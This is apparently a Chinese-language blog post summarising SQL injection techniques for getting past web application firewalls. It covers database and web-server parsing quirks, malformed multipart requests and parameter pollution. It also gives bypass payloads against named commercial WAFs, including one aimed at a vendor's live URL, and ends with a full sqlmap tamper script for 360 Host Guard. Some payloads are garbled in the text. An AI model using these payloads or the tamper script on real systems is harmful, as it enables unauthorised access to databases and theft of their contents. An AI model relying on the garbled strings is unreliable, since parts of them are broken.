sql 注入 繞過 waf
https://notwhy.github.io/2018/06/sql-injection-fuck-waf/
0x0 前言 0x1 注入點檢測 0x2 bypass waf 0x3 自動化
0x0 前言
這裡是簡單對sql注入繞過waf的一個小總結,非安全研究員,這裡不講原理,關於原理蒐集了一些其他大佬的文章(文章在最下面請自取),感謝他們的分享,比著葫蘆畫瓢,對著各大waf廠商跟著師傅們來一波實戰,進行一個簡單的總結。
0x1 注入點檢測
一般的注入還是很好判斷的,特別是基於報錯,但有的時候略微有些奇葩的環境,再加上一些亂七八糟 waf,就比較難搞了,這裡簡單總結了一些方法。
-
利用資料庫獨有的一些函式
access asc chr len #access-functions
mysql substring substr length
mssql char ascii len substring #mssql function str
oracle ascii chr length substr upper lower replace(x,old,new)
這些資料庫中一個通用的函式就是abs,如果覺得是int型注入不妨先試試2-abs(1),然後結合各類資料庫的一些函式來判斷是什麼資料庫的注入,當然對資料庫瞭解越多越好。 -
改變請求方式
根據經驗,一般情況下各指令碼對http request method如下,這裡以GET為例子,針對www.vul.com/?id=1來進行判斷。
php GET
aspx GET
asp GET POST COOKIE
jsp GET POST
平常滲透測試中總是遇到各種各樣的waf,有的時候一個單引號就死了,這個時候首選的一些方法就是轉換請求頭了,畢竟GET不如POST,POST不如multipart/form-data,當然不要看到php就不去轉換,任何情況下都要嘗試一下。
當然,可以用burp很方便的來進行change request method以及change body encoding。
之前碰到過一個有趣的例子,asp的站點可以通過cookie提交資料,而且可以使用len函式,可以初步判斷為access或者mssql資料庫,但是還是很頭疼,最後一位大哥使用下面的函式可以判斷成功。www.vul.com/2.asp?id=482
483-chr(chr(52)&chr(57)) #=482
chr(52) ‘4’
chr(57) ‘9’
chr(49) ‘1’ #chr(52)&chr(57)為49 chr(49)為1 雖然最後也沒什麼卵用但還是挺有意思的
-
資料庫特性
mysql 註釋符號# –+ ` ;%00 // 字串可以使用成對的引號’admin’ = admin’’’
mssql 註釋符號– /
oracle 註釋符號– /**/ admin=adm’||’in
空白符號MySQL5 09 0A 0B 0C 0D A0 20
Oracle 00 0A 0D 0C 09 20
MSSQL 01,02,03,04,05,06,07,08,09,0A,0B,0C,0D,0E,0F,10,11,12,13,14,15,16,17,18,19,1A,1B,1C,1D,1E,1F,20
mysql和mssql可以使用|來進行相關的運算,而oracle會把||當成連線字元。 -
web容器特性
這裡直接可以跳過看http://drops.xmd5.com/static/drops/tips-7883.html 這篇文章
1. iis+asp(x)
1.%u特性: iis支援對unicode的解析,如:payload為[s%u006c%u0006ect],解析出來後則是[select]
%u0061nd 1=1
另類%u特性: unicode在iis解析之後會被轉換成multibyte,但是轉換的過程中可能出現:多個widechar可能會轉換為同一個字元。
如:select中的e對應的unicode為%u0065,但是%u00f0同樣會被轉換成為e s%u00f0lect
iis+asp
2.%特性: union selec%t user fr%om dd #iis+asp asp+iis環境下會忽略掉百分號,如:payload為[sele%ct], 解析出來後則是[select]
3.asp/asp.net在解析請求的時候,允許Content-Type: application/x-www-form-urlencoded的資料提交方式select%201%20from%20user
asp/asp.net request解析:
4.在asp和asp.net中獲取使用者的提交的引數一般使用request包,當使用request(‘id’)的形式獲取包的時候,會出現GET,POST分不清的情況,譬如可以構造一個請求包,METHOD為GET,但是包中還帶有POST的內容和POST的content-type, 換一種理解方式也就是將原本的post資料包的method改成GET,如果使用request(‘id’)方式獲取資料,仍會獲取到post的內容
2. php+apache畸形的boundary
1.php在解析multipart data的時候有自己的特性,對於boundary的識別,只取了逗號前面的內容,例如我們設定的boundary為—-aaaa,123456,php解析的時候只識別了—-aaaa,後面的內容均沒有識別。然而其他的如WAF在做解析的時候,有可能獲取的是整個字串,此時可能就會出現BYPASS
Content-Type: multipart/form-data; boundary=------,xxxx
Content-Length: 191
------,xxxx
Content-Disposition: form-data; name="img"; filename="img.gif"
GIF89a
------
Content-Disposition: form-data; name="id"
1' union select null,null,flag,null from flag limit 1 offset 1-- -
--------
------,xxxx--
2.畸形method(header頭中)
某些apache版本在做GET請求的時候,無論method為何值均會取出GET的內容。如請求的method名為DOTA,依然會返回GET方法的值,即,可以任意替換GET方法為其它值,但仍能有效工作,但如果waf嚴格按照GET方法取值,則取不到任何內容
3. web應用層
1.雙重URL編碼: 即web應用層在接受到經過伺服器層解碼後的引數後,又進行了一次URL解碼
2.變換請求方式:
在web應用中使用了統一獲取引數的方式: 如php裡使用$_REQUEST獲取引數,但WAF層如果過濾不全則容易bypass,如,waf層過濾了get/post,但沒有過濾cookie,而web應用層並不關心引數是否來自cookie
urlencode和form-data: POST在提交資料的時候有兩種方式,第一種方式是使用urlencode的方式提交,第二種方式是使用form-data的方式提交。當我們在測試的時候,如果發現POST提交的資料被過濾掉了,此時可以考慮使用form-data的方式去提交
4. hpp
asp.net + iis:id=1,2,3 #?str=a%27/*&str=*/and/*&str=*/@@version=0--
asp + iis :id=1,2,3
php + apache :id=3
jsp + tomcat :id=1
這裡提供一種針對普通檢測的方法,大家可自行發揮。mysql int型: %20%26%201=1 mysql.php?id=1%20%26%201=1另外在字元型中 ‘and’1’=’1是不需要加空格的,有時候也可以繞過一些waf判斷
0x2 bypasswaf
由於mysql的靈活性,這裡以mysql繞過為主,針對各大主流waf廠商進行一個測試,主要測試線上版的,本地就安裝了一個360主機衛士。其中http://192.168.44.132/mysql.php?id=1是我本地的一個測試環境
其中下面的繞過都是以fuzz為主,不考慮web容器的特性,嘗試繞過聯合查詢 -1 union select 1,2,3 from dual
- 百度雲加速bypass
union select #filter
from dual #not filted
select from dual #filter
只需要繞過select即可 使用–+aaaaaa%0a可bypass - 360主機衛士bypass
發現%23%0aand%230a1=1 可以繞過and 1=1 限制
最後在union select from的時候卻繞不過去
直接使用大字串來fuzz %23-FUZZ-%0a https://github.com/minimaxir/big-list-of-naughty-strings/blob/master/blns.txt 發現可以成功繞過waf - 雲鎖
union select 如下就可以繞過
http://www.yunsuo.com.cn/download.html?id=1%20union/!/!select%201,2,3*/
轉換成multiform/data可輕鬆繞過 - 安全狗bypass
直接搞就行了當然也可以chunked提交 - 阿里雲
嘗試使用自定義變數方式來繞過 @a:=(select @b:=table_name
from{a information_schema.TABLES
}limit 0,1)union select ‘1’,@a
@p:=(select)被過濾 fuzz下p引數使用@$:=(select)可以繞過
union select 1被過濾 使用union%23aa%0a/!select–%01%0a/1,@$,3 可以繞過
發現重點就是繞過表名 select 1 from dual 一些常規的方法測試無果 隨便fuzz下注釋/!數字/卻偶然發現有倆個數據包遺漏
想起了以前烏雲上一哥的的一個漏洞https://wooyun.shuimugan.com/bug/view?bug_no=94367難道是因為訪問頻率導致遺漏?隨即我又進行了一些fuzz fuzz1w到5w數字型的註釋 加大執行緒 發現遺漏了更多
我想測試一下之前的waf挑戰賽,發現之前提交的payload已經修復了,而且那個漏洞url無法訪問了:( 所以無法確認。
隨即我又進行了一些超長字串的fuzz 簡單fuzz1w-10w 以500為step 發現現象更多了 可初步判斷存在遺漏0x3 自動化
以360主機衛士為例,編寫sqlmap tamper指令碼。
正常無waf sqlmap聯合查詢如下:
開啟主機衛士,放到瀏覽器除錯,修改相關payload使其能正常執行。最後tamper指令碼如下:from lib.core.enums import PRIORITY from lib.core.settings import UNICODE_ENCODING __priority__ = PRIORITY.LOW def dependencies(): pass def tamper(payload, **kwargs): """ Replaces keywords >>> tamper('UNION SELECT id FROM users') '1 union%[email protected]%23$%%5e%26%2a()%60~%0a/*!12345select*/ NULL,/*!12345CONCAT*/(0x7170706271,IFNULL(/*!12345CASt(*/COUNT(*) AS CHAR),0x20),0x7171786b71),NULL/*!%[email protected]%23$%%5e%26%2a()%60~%0afrOm*/INFORMATION_SCHEMA.COLUMNS WHERE table_name=0x61646d696e AND table_schema=0x73716c696e6a656374-- """ if payload: payload=payload.replace("UNION ALL SELECT","union%[email protected]%23$%%5e%26%2a()%60~%0a/*!12345select*/") payload=payload.replace("UNION SELECT","union%[email protected]%23$%%5e%26%2a()%60~%0a/*!12345select*/") payload=payload.replace(" FROM ","/*!%[email protected]%23$%%5e%26%2a()%60~%0afrOm*/") payload=payload.replace("CONCAT","/*!12345CONCAT*/") payload=payload.replace("CAST(","/*!12345CAST(*/") payload=payload.replace("CASE","/*!12345CASE*/") payload=payload.replace("DATABASE()","database/**/()") return payload
可以成功獲取到相關資料。其他參考連結如下:
http://www.anquan.us/search?keywords=bypass&content_search_by=by_bugs http://drops.xmd5.com/static/drops/tips-7883.html https://xianzhi.aliyun.com/forum/attachment/big_size/wafbypass_sql.pdf http://drops.xmd5.com/static/drops/papers-4323.html https://www.cnblogs.com/xiaozi/p/6927348.html http://swende.se/blog/HTTPChunked.html# https://xz.aliyun.com/t/1239 http://www.sqlinjectionwiki.com/categories/2/mysql-sql-injection-cheat-sheet/ https://mp.weixin.qq.com/s/S318-e4-eskfRG38HZk_Qw https://joychou.org/web/nginx-Lua-waf-general-bypass-method.html #nginx lua waf https://www.owasp.org/index.php/SQL_Injection_Bypassing_WAF https://websec.ca/kb/sql_injection#MySQL_Comment_Out_Query https://forum.bugcrowd.com/t/sqlmap-tamper-scripts-sql-injection-and-waf-bypass/423